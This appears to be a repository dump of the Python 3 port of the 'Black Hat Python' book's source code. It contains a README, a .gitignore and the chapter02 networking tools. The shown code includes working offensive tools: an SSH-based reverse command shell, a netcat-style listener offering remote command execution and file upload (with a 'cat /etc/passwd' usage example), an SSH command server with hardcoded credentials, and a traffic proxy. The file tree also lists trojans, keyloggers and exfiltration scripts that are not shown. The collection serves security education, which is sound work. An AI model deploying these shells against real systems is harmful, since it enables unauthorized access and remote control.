├── .gitignore ├── README.md ├── chapter02 ├── bh_sshRcmd.py ├── bh_sshcmd.py ├── bh_sshserver.py ├── bhnet.py ├── proxy.py ├── rforward.py ├── tcp-client.py ├── tcp-server.py ├── test_rsa.key └── udp-client.py ├── chapter03 ├── scanner.py ├── sniffer_basic.py ├── sniffer_ip_header_decode.py └── sniffer_with_icmp.py ├── chapter04 ├── arper.py ├── mail_sniffer.py └── pic_carver.py ├── chapter05 ├── all.txt ├── cain.txt ├── content_bruter.py ├── joomla_killer.py └── web_app_mapper.py ├── chapter06 ├── bhp_bing.py ├── bhp_fuzzer.py ├── bhp_wordlist.py └── jython-standalone-2.7.2.jar ├── chapter07 ├── config │ └── abc.json ├── git_trojan.py └── modules │ ├── dirlister.py │ └── environment.py ├── chapter08 ├── keylogger.py ├── pyWinhook-1.6.2-cp38-cp38-win_amd64.whl ├── sandbox_detect.py ├── screenshotter.py └── shell_exec.py ├── chapter09 ├── cred_server.py ├── decryptor.py ├── ie_exfil.py ├── keygen.py └── mitb.py ├── chapter10 ├── bhvulnservice.zip ├── file_monitor.py └── process_monitor.py ├── chapter11 ├── cmeasure.bin ├── code_coverage.py ├── code_inject.py └── grabhashes.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | venv/ 2 | 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | *$py.class 7 | .idea/ 8 | 9 | # C extensions 10 | *.so 11 | 12 | # Distribution / packaging 13 | .Python 14 | env/ 15 | build/ 16 | develop-eggs/ 17 | dist/ 18 | downloads/ 19 | eggs/ 20 | .eggs/ 21 | lib/ 22 | lib64/ 23 | parts/ 24 | sdist/ 25 | var/ 26 | *.egg-info/ 27 | .installed.cfg 28 | *.egg 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *,cover 49 | .hypothesis/ 50 | 51 | # Translations 52 | *.mo 53 | *.pot 54 | 55 | # Django stuff: 56 | *.log 57 | 58 | # Sphinx documentation 59 | docs/_build/ 60 | 61 | # PyBuilder 62 | target/ 63 | 64 | #Ipython Notebook 65 | .ipynb_checkpoints 66 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Python 3 "Black Hat Python" Source Code 2 | 3 | Source code for the book "Black Hat Python" by Justin Seitz. The code has been 4 | fully converted to Python 3, reformatted to comply with PEP8 standards and refactored to eliminate dependency issues involving the implementation of deprecated libraries. 5 | 6 | Although many optimizations could have been implemented in the source code 7 | presented 8 | throughout the book, the code was left unaltered as much as possible so that 9 | such modifications can be applied by the reader as he sees fit. The code as 10 | it is needs some serious refactoring efforts ranging from docstrings to type 11 | hinting and exception handling, not to mention enhancements like context 12 | managers, but these issues by themselves may come to benefit the reader if 13 | he has the intention of implementing them. It also presents many bugs 14 | originating from indentation that have been corrected if fatal errors were 15 | to be avoided during runtime. 16 | 17 | *A conversion similar to this one has been made available by myself on the 18 | source code of the book "Violent Python", by TJ O'Connor. Check it out 19 | [here](https://github.com/EONRaider/violent-python3) if you haven't done it 20 | yet.* 21 | 22 | ## Usage 23 | Simply choose a directory (DIR) in which to clone the project using 24 | `git clone`, create a new virtual environment or `venv` for it (recommended 25 | ) and install the requirements using `pip install`. 26 | 27 | ``` 28 | user@host:~/DIR$ git clone https://github.com/EONRaider/blackhat-python3 29 | user@host:~/DIR$ python3 -m venv venv 30 | user@host:~/DIR$ source venv/bin/activate 31 | (venv) user@host:~/DIR$ pip install -r requirements.txt 32 | ``` 33 | 34 | ## Notes 35 | - Some listings presented on the book were missing from the author's code 36 | repository available from "no starch press" website and were 37 | added to their respective chapters. A more accurate naming convention has 38 | been applied to the files as necessary in order to relate them to the code 39 | presented in the book. 40 | - Minor bugs that generated warnings by the interpreter have been fixed 41 | throughout the code without altering its characteristics. 42 | - Auxiliary files that were required to make the code work were added to their 43 | respective chapters. 44 | - As a personal side-note, it could have been possible for the author 45 | to have written cleaner code without jeopardizing the quickness of 46 | implementation that is required for ethical hacking engagements. Why he 47 | opted for not doing so remains of unknown reason. 48 | 49 | ## Refactoring 50 | 51 | Critical bug fixes that had to be made in order to properly implement the 52 | source code and avoid fatal errors: 53 | - `chapter02/bh_sshserver.py` required the RSA key contained in the `test_rsa.key` file, now included in the corresponding directory. 54 | - `chapter03/sniffer_ip_header_decode.py` & `sniffer_with_icmp.py` & `scanner.py` all had serious 55 | issues in the definition of IP packet sizes and portability between 32/64-bit 56 | architectures due to problems in the implementation of `struct`. More about these 57 | issues on [this thread on Stack Overflow.](https://stackoverflow.com/questions/29306747/python-sniffing-from-black-hat-python-book#29307402) 58 | - `chapter03/scanner.py` used the `netaddr` library, which is not 59 | maintained anymore and presents many incompatibilities with Python 3. 60 | For that reason the code has been refactored and now uses the `ipaddress` 61 | module from Python's `stdlib`. 62 | - `chapter04/arper.py` & `mail_sniffer.py` used the `scapy` library, which is 63 | not compatible with Python 3. For that reason the code has been refactored and 64 | now uses the `kamene` library. 65 | - `chapter04/pic_carver.py` now uses the `opencv-python` library instead of 66 | `cv2`. The "cv2.cv" module was deprecated and has been replaced. The parameter 67 | "cv2.cv.CV_HAAR_SCALE_IMAGE" from the original code was replaced by 68 | "cv2.CASCADE_SCALE_IMAGE" because of [this commit](https://github.com/ragulin/face-recognition-server/commit/7b9773be352cbcd8a3aff50c7371f8aaf737bc5c). 69 | - `chapter05/content_bruter.py` required a wordlist to work. It has been added 70 | to the chapter under `all.txt` 71 | - `chapter05/joomla_killer.py` required a wordlist to work. It has been added 72 | to the chapter under `cain.txt` 73 | - `chapter06/bhp_bing.py` & `bhp_fuzzer.py` & `bhp_wordlist.py` have been 74 | reformatted to comply with PEP8, though some warnings will still be 75 | triggered due to the necessity to conform class names to camel-casing in 76 | this specific application on Burp Suite. 77 | - `chapter06/jython-standalone-2.7.2.jar` is available as a more updated 78 | version of the file relative to the one presented in the book. 79 | - `chapter07/git_trojan.py` was refactored to replace the `imp` library (now 80 | deprecated) for `types`. A subdirectory structure with the necessary 81 | configuration files has been implemented as instructed in the book. The 82 | "trojan_config" variable was missing the relative path to the `config` subdirectory. A call to "to_tree" method was added to line 60 in order to 83 | avoid an AttributeError exception generated by the original code. 84 | Instructions on how to generate an access token 85 | instead of using one's password in case 2FA is being used were included as comments. 86 | - `chapter08/keylogger.py` requires the `PyHook` library to work. A wheel file 87 | has been included with the 1.6.2 version. If necessary, other versions can 88 | be downloaded from [here](https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook). 89 | - `chapter09/ie_exfil.py` threw errors due to the handling of the plaintext 90 | variable (which can appear as a string or as a binary string) when handed over 91 | to the "encrypt_string" function. Additionally, the use of the `base64` library was 92 | corrected. *Contribution from [Enraged](https://github.com/Enraged) at 93 | [this commit](https://github.com/EONRaider/blackhat-python3/pull/2/commits/fcab6afc19fc4ea01b8c5c475e7b8c5e4b158df6).* 94 | 95 | ## Translations 96 | Contributions in other languages can be checked here: 97 | - Translated to [Turkish](https://github.com/EONRaider/blackhat-python3/tree/turkish-language) by [Bedirhan Budak](https://github.com/bedirhanbudak) 98 | 99 | ## Contributing 100 | 101 | As a matter of common sense, first try to discuss the change you wish to make to 102 | this repository via an issue. 103 | 104 | 1. Ensure the modifications you wish to introduce actually lead to a pull 105 | request. The change of one line or two should be requested through an issue 106 | instead. 107 | 2. If necessary, update the README.md file with details relative to changes to 108 | the project structure. 109 | 3. Make sure the commit messages that include the modifications follow a 110 | standard. If you don't know how to proceed, [here](https://chris.beams.io/posts/git-commit/) 111 | is a great reference on how to do it. 112 | 4. Your request will be reviewed as soon as possible (usually within 48 hours). 113 | 114 | -------------------------------------------------------------------------------- /chapter02/bh_sshRcmd.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import paramiko 3 | 4 | 5 | def ssh_command(ip, user, passwd, command): 6 | client = paramiko.SSHClient() 7 | # client can also support using key files 8 | # client.load_host_keys('/home/user/.ssh/known_hosts') 9 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 10 | client.connect(ip, username=user, password=passwd) 11 | ssh_session = client.get_transport().open_session() 12 | if ssh_session.active: 13 | ssh_session.send(command) 14 | print(ssh_session.recv(1024)) # read banner 15 | 16 | while True: 17 | # get the command from the SSH server 18 | command = ssh_session.recv(1024) 19 | try: 20 | cmd_output = subprocess.check_output(command.decode(), shell=True) 21 | ssh_session.send(cmd_output) 22 | except Exception as e: 23 | ssh_session.send(str(e)) 24 | client.close() 25 | return 26 | 27 | 28 | ssh_command('192.168.100.130', 'justin', 'lovesthepython', 'ClientConnected') 29 | -------------------------------------------------------------------------------- /chapter02/bh_sshcmd.py: -------------------------------------------------------------------------------- 1 | import paramiko 2 | 3 | 4 | def ssh_command(ip, user, passwd, command): 5 | client = paramiko.SSHClient() 6 | # client can also support using key files 7 | # client.load_host_keys('/home/user/.ssh/known_hosts') 8 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 9 | client.connect(ip, username=user, password=passwd) 10 | ssh_session = client.get_transport().open_session() 11 | if ssh_session.active: 12 | ssh_session.exec_command(command) 13 | print(ssh_session.recv(1024)) 14 | return 15 | 16 | 17 | ssh_command('192.168.100.131', 'justin', 'lovesthepython', 'ClientConnected') 18 | -------------------------------------------------------------------------------- /chapter02/bh_sshserver.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import paramiko 3 | import threading 4 | import sys 5 | 6 | # using the server host key from the paramiko demo files 7 | host_key = paramiko.RSAKey(filename='test_rsa.key') 8 | 9 | 10 | class Server(paramiko.ServerInterface): 11 | def __init__(self): 12 | self.event = threading.Event() 13 | 14 | def check_channel_request(self, kind, chanid): 15 | if kind == 'session': 16 | return paramiko.OPEN_SUCCEEDED 17 | return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 18 | 19 | def check_auth_password(self, username, password): 20 | if username == 'root' and password == 'toor': 21 | return paramiko.AUTH_SUCCESSFUL 22 | return paramiko.AUTH_FAILED 23 | 24 | 25 | server = sys.argv[1] 26 | ssh_port = int(sys.argv[2]) 27 | 28 | try: 29 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 30 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 31 | sock.bind((server, ssh_port)) 32 | sock.listen(100) 33 | print("[+] Listening for connection...") 34 | client, addr = sock.accept() 35 | except Exception as e: 36 | print("[-] Listen failed: " + str(e)) 37 | sys.exit(1) 38 | 39 | print("[+] Got a connection!") 40 | 41 | try: 42 | # noinspection PyTypeChecker 43 | bhSession = paramiko.Transport(client) 44 | bhSession.add_server_key(host_key) 45 | server = Server() 46 | try: 47 | bhSession.start_server(server=server) 48 | except paramiko.SSHException: 49 | print("[-] SSH negotiation failed.") 50 | chan = bhSession.accept(20) 51 | print("[+] Authenticated!") 52 | print(chan.recv(1024)) 53 | chan.send("Welcome to bh_ssh!") 54 | while True: 55 | try: 56 | command = input("Enter command: ").strip("\n") 57 | if command != "exit": 58 | chan.send(command) 59 | print(chan.recv(1024).decode(errors="ignore") + "\n") 60 | else: 61 | chan.send("exit") 62 | print("Exiting...") 63 | bhSession.close() 64 | raise Exception("exit") 65 | except KeyboardInterrupt: 66 | bhSession.close() 67 | except Exception as e: 68 | print("[-] Caught exception: " + str(e)) 69 | bhSession.close() 70 | finally: 71 | sys.exit(1) 72 | -------------------------------------------------------------------------------- /chapter02/bhnet.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | import getopt 4 | import threading 5 | import subprocess 6 | 7 | # define some global variables 8 | listen = False 9 | command = False 10 | upload = False 11 | execute = "" 12 | target = "" 13 | upload_destination = "" 14 | port = 0 15 | 16 | 17 | # this runs a command and returns the output 18 | def run_command(cmd): 19 | # trim the newline 20 | cmd = cmd.rstrip() 21 | 22 | # run the command and get the output back 23 | try: 24 | output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, 25 | shell=True) 26 | except subprocess.CalledProcessError as e: 27 | output = e.output 28 | 29 | # send the output back to the client 30 | return output 31 | 32 | 33 | # this handles incoming client connections 34 | def client_handler(client_socket): 35 | global upload 36 | global execute 37 | global command 38 | 39 | # check for upload 40 | if len(upload_destination): 41 | 42 | # read in all of the bytes and write to our destination 43 | file_buffer = "" 44 | 45 | # keep reading data until none is available 46 | while True: 47 | data = client_socket.recv(1024) 48 | 49 | if not data: 50 | break 51 | else: 52 | file_buffer += data 53 | 54 | # now we take these bytes and try to write them out 55 | try: 56 | file_descriptor = open(upload_destination, "wb") 57 | file_descriptor.write(file_buffer.encode('utf-8')) 58 | file_descriptor.close() 59 | 60 | # acknowledge that we wrote the file out 61 | client_socket.send( 62 | "Successfully saved file to %s\r\n" % upload_destination) 63 | except OSError: 64 | client_socket.send( 65 | "Failed to save file to %s\r\n" % upload_destination) 66 | 67 | # check for command execution 68 | if len(execute): 69 | # run the command 70 | output = run_command(execute) 71 | 72 | client_socket.send(output) 73 | 74 | # now we go into another loop if a command shell was requested 75 | if command: 76 | 77 | while True: 78 | # show a simple prompt 79 | client_socket.send(" ".encode('utf-8')) 80 | 81 | # now we receive until we see a linefeed (enter key) 82 | cmd_buffer = b'' 83 | while b"\n" not in cmd_buffer: 84 | cmd_buffer += client_socket.recv(1024) 85 | 86 | # we have a valid command so execute it and send back the results 87 | response = run_command(cmd_buffer.decode()) 88 | 89 | # send back the response 90 | client_socket.send(response) 91 | 92 | 93 | # this is for incoming connections 94 | def server_loop(): 95 | global target 96 | global port 97 | 98 | # if no target is defined we listen on all interfaces 99 | if not len(target): 100 | target = "0.0.0.0" 101 | 102 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 103 | server.bind((target, port)) 104 | server.listen(5) 105 | 106 | while True: 107 | client_socket, addr = server.accept() 108 | 109 | # spin off a thread to handle our new client 110 | client_thread = threading.Thread(target=client_handler, 111 | args=(client_socket,)) 112 | client_thread.start() 113 | 114 | 115 | # if we don't listen we are a client... make it so. 116 | def client_sender(buffer): 117 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 118 | 119 | try: 120 | # connect to our target host 121 | client.connect((target, port)) 122 | 123 | # if we detect input from stdin send it 124 | # if not we are going to wait for the user to punch some in 125 | if len(buffer): 126 | client.send(buffer.encode('utf-8')) 127 | 128 | while True: 129 | # now wait for data back 130 | recv_len = 1 131 | response = b'' 132 | 133 | while recv_len: 134 | data = client.recv(4096) 135 | recv_len = len(data) 136 | response += data 137 | 138 | if recv_len < 4096: 139 | break 140 | 141 | print(response.decode('utf-8'), end=' ') 142 | 143 | # wait for more input 144 | buffer = input("") 145 | buffer += "\n" 146 | 147 | # send it off 148 | client.send(buffer.encode('utf-8')) 149 | 150 | except socket.error as exc: 151 | # just catch generic errors - you can do your homework to beef this up 152 | print("[*] Exception! Exiting.") 153 | print(f"[*] Caught exception socket.error: {exc}") 154 | 155 | # teardown the connection 156 | client.close() 157 | 158 | 159 | def usage(): 160 | print("Netcat Replacement") 161 | print() 162 | print("Usage: bhpnet.py -t target_host -p port") 163 | print( 164 | "-l --listen - listen on [host]:[port] for incoming " 165 | "connections") 166 | print( 167 | "-e --execute=file_to_run - execute the given file upon receiving " 168 | "a connection") 169 | print("-c --command - initialize a command shell") 170 | print( 171 | "-u --upload=destination - upon receiving connection upload a file " 172 | "and write to [destination]") 173 | print() 174 | print() 175 | print("Examples: ") 176 | print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c") 177 | print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe") 178 | print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"") 179 | print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135") 180 | sys.exit(0) 181 | 182 | 183 | def main(): 184 | global listen 185 | global port 186 | global execute 187 | global command 188 | global upload_destination 189 | global target 190 | 191 | if not len(sys.argv[1:]): 192 | usage() 193 | 194 | # read the commandline options 195 | try: 196 | opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", 197 | ["help", "listen", "execute", "target", 198 | "port", "command", "upload"]) 199 | for o, a in opts: 200 | if o in ("-h", "--help"): 201 | usage() 202 | elif o in ("-l", "--listen"): 203 | listen = True 204 | elif o in ("-e", "--execute"): 205 | execute = a 206 | elif o in ("-c", "--commandshell"): 207 | command = True 208 | elif o in ("-u", "--upload"): 209 | upload_destination = a 210 | elif o in ("-t", "--target"): 211 | target = a 212 | elif o in ("-p", "--port"): 213 | port = int(a) 214 | else: 215 | assert False, "Unhandled Option" 216 | 217 | except getopt.GetoptError as err: 218 | print(str(err)) 219 | usage() 220 | 221 | # are we going to listen or just send data from STDIN? 222 | if not listen and len(target) and port > 0: 223 | # read in the buffer from the commandline 224 | # this will block, so send CTRL-D if not sending input 225 | # to stdin 226 | buffer = sys.stdin.read() 227 | 228 | # send data off 229 | client_sender(buffer) 230 | 231 | # we are going to listen and potentially 232 | # upload things, execute commands and drop a shell back 233 | # depending on our command line options above 234 | if listen: 235 | server_loop() 236 | 237 | 238 | main() 239 | -------------------------------------------------------------------------------- /chapter02/proxy.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | import threading 4 | 5 | 6 | # this is a pretty hex dumping function directly taken from 7 | # http://code.activestate.com/recipes/142812-hex-dumper/ 8 | 9 | def hexdump(src, length=16): 10 | result = [] 11 | digits = 4 if isinstance(src, str) else 2 12 | 13 | for i in range(0, len(src), length): 14 | s = src[i:i + length] 15 | hexa = b' '.join([b"%0*X" % (digits, ord(x)) for x in s]) 16 | text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s]) 17 | result.append( 18 | b"%04X %-*s %s" % (i, length * (digits + 1), hexa, text)) 19 | 20 | print(b'\n'.join(result)) 21 | 22 | 23 | def receive_from(connection): 24 | buffer = b'' 25 | 26 | # We set a 2 second time-out. Depending on your target this may need 27 | # to be adjusted 28 | connection.settimeout(2) 29 | 30 | try: 31 | 32 | # keep reading into the buffer until there's no more data or we 33 | # time-out 34 | while True: 35 | data = connection.recv(4096) 36 | if not data: 37 | break 38 | buffer += data 39 | 40 | except TimeoutError: 41 | pass 42 | 43 | return buffer 44 | 45 | 46 | # modify any requests destined for the remote host 47 | def request_handler(buffer): 48 | # perform packet modifications 49 | return buffer 50 | 51 | 52 | # modify any responses destined for the local host 53 | def response_handler(buffer): 54 | # perform packet modifications 55 | return buffer 56 | 57 | 58 | def proxy_handler(client_socket, remote_host, remote_port, receive_first): 59 | # connect to the remote host 60 | remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 61 | remote_socket.connect((remote_host, remote_port)) 62 | 63 | # receive data from the remote end if necessary 64 | if receive_first: 65 | remote_buffer = receive_from(remote_socket) 66 | hexdump(remote_buffer) 67 | 68 | # send it to our response handler 69 | remote_buffer = response_handler(remote_buffer) 70 | 71 | # if we have data to send to our local client send it 72 | if len(remote_buffer): 73 | print("[<==] Sending %d bytes to localhost." % len(remote_buffer)) 74 | client_socket.send(remote_buffer) 75 | 76 | # now let's loop and read from local, send to remote, send to local 77 | # rinse wash repeat 78 | while True: 79 | # read from local host 80 | local_buffer = receive_from(client_socket) 81 | 82 | if len(local_buffer): 83 | print("[==>] Received %d bytes from localhost." % len(local_buffer)) 84 | hexdump(local_buffer) 85 | 86 | # send it to our request handler 87 | local_buffer = request_handler(local_buffer) 88 | 89 | # send off the data to the remote host 90 | remote_socket.send(local_buffer) 91 | print("[==>] Sent to remote.") 92 | 93 | # receive back the response 94 | remote_buffer = receive_from(remote_socket) 95 | 96 | if len(remote_buffer): 97 | print("[<==] Received %d bytes from remote." % len(remote_buffer)) 98 | hexdump(remote_buffer) 99 | 100 | # send to our response handler 101 | remote_buffer = response_handler(remote_buffer) 102 | 103 | # send the response to the local socket 104 | client_socket.send(remote_buffer) 105 | 106 | print("[<==] Sent to localhost.") 107 | 108 | # if no more data on either side close the connections 109 | if not len(local_buffer) or not len(remote_buffer): 110 | client_socket.close() 111 | remote_socket.close() 112 | print("[*] No more data. Closing connections.") 113 | break 114 | 115 | 116 | def server_loop(local_host, local_port, remote_host, remote_port, 117 | receive_first): 118 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 119 | 120 | try: 121 | server.bind((local_host, local_port)) 122 | except socket.error as exc: 123 | print("[!!] Failed to listen on %s:%d" % (local_host, 124 | local_port)) 125 | print("[!!] Check for other listening sockets or correct " 126 | "permissions.") 127 | print(f"[!!] Caught exception error: {exc}") 128 | sys.exit(0) 129 | 130 | print("[*] Listening on %s:%d" % (local_host, local_port)) 131 | 132 | server.listen(5) 133 | 134 | while True: 135 | client_socket, addr = server.accept() 136 | 137 | # print out the local connection information 138 | print("[==>] Received incoming connection from %s:%d" % ( 139 | addr[0], addr[1])) 140 | 141 | # start a thread to talk to the remote host 142 | proxy_thread = threading.Thread(target=proxy_handler, args=( 143 | client_socket, remote_host, remote_port, receive_first)) 144 | proxy_thread.start() 145 | 146 | 147 | def main(): 148 | # no fancy command line parsing here 149 | if len(sys.argv[1:]) != 5: 150 | print("Usage: ./proxy.py [localhost] [localport] [remotehost] " 151 | "[remoteport] [receive_first]") 152 | print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True") 153 | sys.exit(0) 154 | 155 | # setup local listening parameters 156 | local_host = sys.argv[1] 157 | local_port = int(sys.argv[2]) 158 | 159 | # setup remote target 160 | remote_host = sys.argv[3] 161 | remote_port = int(sys.argv[4]) 162 | 163 | # this tells our proxy to connect and receive data 164 | # before sending to the remote host 165 | receive_first = sys.argv[5] 166 | 167 | if "True" in receive_first: 168 | receive_first = True 169 | else: 170 | receive_first = False 171 | 172 | # now spin up our listening socket 173 | server_loop(local_host, local_port, remote_host, remote_port, receive_first) 174 | 175 | 176 | main() 177 | -------------------------------------------------------------------------------- /chapter02/rforward.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Copyright (C) 2008 Robey Pointer 4 | # 5 | # This file is part of paramiko. 6 | # 7 | # Paramiko is free software; you can redistribute it and/or modify it under the 8 | # terms of the GNU Lesser General Public License as published by the Free 9 | # Software Foundation; either version 2.1 of the License, or (at your option) 10 | # any later version. 11 | # 12 | # Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY 13 | # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR 14 | # A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more 15 | # details. 16 | # 17 | # You should have received a copy of the GNU Lesser General Public License 18 | # along with Paramiko; if not, write to the Free Software Foundation, Inc., 19 | # 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. 20 | 21 | """ 22 | Sample script showing how to do remote port forwarding over paramiko. 23 | 24 | This script connects to the requested SSH server and sets up remote port 25 | forwarding (the openssh -R option) from a remote port through a tunneled 26 | connection to a destination reachable from the local machine. 27 | """ 28 | 29 | import getpass 30 | import socket 31 | import select 32 | import sys 33 | import threading 34 | from optparse import OptionParser 35 | 36 | import paramiko 37 | 38 | SSH_PORT = 22 39 | DEFAULT_PORT = 4000 40 | 41 | g_verbose = True 42 | 43 | 44 | def handler(chan, host, port): 45 | sock = socket.socket() 46 | try: 47 | sock.connect((host, port)) 48 | except Exception as e: 49 | verbose("Forwarding request to %s:%d failed: %r" % (host, port, e)) 50 | return 51 | 52 | verbose( 53 | "Connected! Tunnel open %r -> %r -> %r" 54 | % (chan.origin_addr, chan.getpeername(), (host, port)) 55 | ) 56 | while True: 57 | r, w, x = select.select([sock, chan], [], []) 58 | if sock in r: 59 | data = sock.recv(1024) 60 | if len(data) == 0: 61 | break 62 | chan.send(data) 63 | if chan in r: 64 | data = chan.recv(1024) 65 | if len(data) == 0: 66 | break 67 | sock.send(data) 68 | chan.close() 69 | sock.close() 70 | verbose("Tunnel closed from %r" % (chan.origin_addr,)) 71 | 72 | 73 | def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): 74 | transport.request_port_forward("", server_port) 75 | while True: 76 | chan = transport.accept(1000) 77 | if chan is None: 78 | continue 79 | thr = threading.Thread( 80 | target=handler, args=(chan, remote_host, remote_port) 81 | ) 82 | thr.setDaemon(True) 83 | thr.start() 84 | 85 | 86 | def verbose(s): 87 | if g_verbose: 88 | print(s) 89 | 90 | 91 | HELP = """\ 92 | Set up a reverse forwarding tunnel across an SSH server, using paramiko. A 93 | port on the SSH server (given with -p) is forwarded across an SSH session 94 | back to the local machine, and out to a remote site reachable from this 95 | network. This is similar to the openssh -R option. 96 | """ 97 | 98 | 99 | def get_host_port(spec, default_port): 100 | """parse 'hostname:22' into a host and port, with the port optional""" 101 | args = (spec.split(":", 1) + [default_port])[:2] 102 | args[1] = int(args[1]) 103 | return args[0], args[1] 104 | 105 | 106 | def parse_options(): 107 | global g_verbose 108 | 109 | parser = OptionParser( 110 | usage="usage: %prog [options] [:]", 111 | version="%prog 1.0", 112 | description=HELP, 113 | ) 114 | parser.add_option( 115 | "-q", 116 | "--quiet", 117 | action="store_false", 118 | dest="verbose", 119 | default=True, 120 | help="squelch all informational output", 121 | ) 122 | parser.add_option( 123 | "-p", 124 | "--remote-port", 125 | action="store", 126 | type="int", 127 | dest="port", 128 | default=DEFAULT_PORT, 129 | help="port on server to forward (default: %d)" % DEFAULT_PORT, 130 | ) 131 | parser.add_option( 132 | "-u", 133 | "--user", 134 | action="store", 135 | type="string", 136 | dest="user", 137 | default=getpass.getuser(), 138 | help="username for SSH authentication (default: %s)" 139 | % getpass.getuser(), 140 | ) 141 | parser.add_option( 142 | "-K", 143 | "--key", 144 | action="store", 145 | type="string", 146 | dest="keyfile", 147 | default=None, 148 | help="private key file to use for SSH authentication", 149 | ) 150 | parser.add_option( 151 | "", 152 | "--no-key", 153 | action="store_false", 154 | dest="look_for_keys", 155 | default=True, 156 | help="don't look for or use a private key file", 157 | ) 158 | parser.add_option( 159 | "-P", 160 | "--password", 161 | action="store_true", 162 | dest="readpass", 163 | default=False, 164 | help="read password (for key or password auth) from stdin", 165 | ) 166 | parser.add_option( 167 | "-r", 168 | "--remote", 169 | action="store", 170 | type="string", 171 | dest="remote", 172 | default=None, 173 | metavar="host:port", 174 | help="remote host and port to forward to", 175 | ) 176 | options, args = parser.parse_args() 177 | 178 | if len(args) != 1: 179 | parser.error("Incorrect number of arguments.") 180 | if options.remote is None: 181 | parser.error("Remote address required (-r).") 182 | 183 | g_verbose = options.verbose 184 | server_host, server_port = get_host_port(args[0], SSH_PORT) 185 | remote_host, remote_port = get_host_port(options.remote, SSH_PORT) 186 | return options, (server_host, server_port), (remote_host, remote_port) 187 | 188 | 189 | def main(): 190 | options, server, remote = parse_options() 191 | 192 | password = None 193 | if options.readpass: 194 | password = getpass.getpass("Enter SSH password: ") 195 | 196 | client = paramiko.SSHClient() 197 | client.load_system_host_keys() 198 | client.set_missing_host_key_policy(paramiko.WarningPolicy()) 199 | 200 | verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1])) 201 | try: 202 | client.connect( 203 | server[0], 204 | server[1], 205 | username=options.user, 206 | key_filename=options.keyfile, 207 | look_for_keys=options.look_for_keys, 208 | password=password, 209 | ) 210 | except Exception as e: 211 | print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e)) 212 | sys.exit(1) 213 | 214 | verbose( 215 | "Now forwarding remote port %d to %s:%d ..." 216 | % (options.port, remote[0], remote[1]) 217 | ) 218 | 219 | try: 220 | reverse_forward_tunnel( 221 | options.port, remote[0], remote[1], client.get_transport() 222 | ) 223 | except KeyboardInterrupt: 224 | print("C-c: Port forwarding stopped.") 225 | sys.exit(0) 226 | 227 | 228 | if __name__ == "__main__": 229 | main() 230 | -------------------------------------------------------------------------------- /chapter02/tcp-client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "www.google.com" 4 | target_port = 80 5 | 6 | # create a socket object 7 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | # connect the client 10 | client.connect((target_host, target_port)) 11 | 12 | # send some data 13 | client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") 14 | 15 | # receive data 16 | response = client.recv(4096) 17 | 18 | client.close() 19 | 20 | print(response) 21 | -------------------------------------------------------------------------------- /chapter02/tcp-server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | bind_ip = "0.0.0.0" 5 | bind_port = 9999 6 | 7 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | server.bind((bind_ip, bind_port)) 10 | 11 | server.listen(5) 12 | 13 | print("[*] Listening on %s:%d" % (bind_ip, bind_port)) 14 | 15 | 16 | # this is our client handling thread 17 | def handle_client(client_socket): 18 | # just print out what the client sends 19 | request = client_socket.recv(1024) 20 | 21 | print("[*] Received: %s" % request) 22 | 23 | # send back a packet 24 | client_socket.send(b"ACK!") 25 | print(client_socket.getpeername()) 26 | client_socket.close() 27 | 28 | 29 | while True: 30 | client, addr = server.accept() 31 | 32 | print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1])) 33 | 34 | # spin up our client thread to handle incoming data 35 | client_handler = threading.Thread(target=handle_client, args=(client,)) 36 | client_handler.start() 37 | -------------------------------------------------------------------------------- /chapter02/test_rsa.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyz 3 | 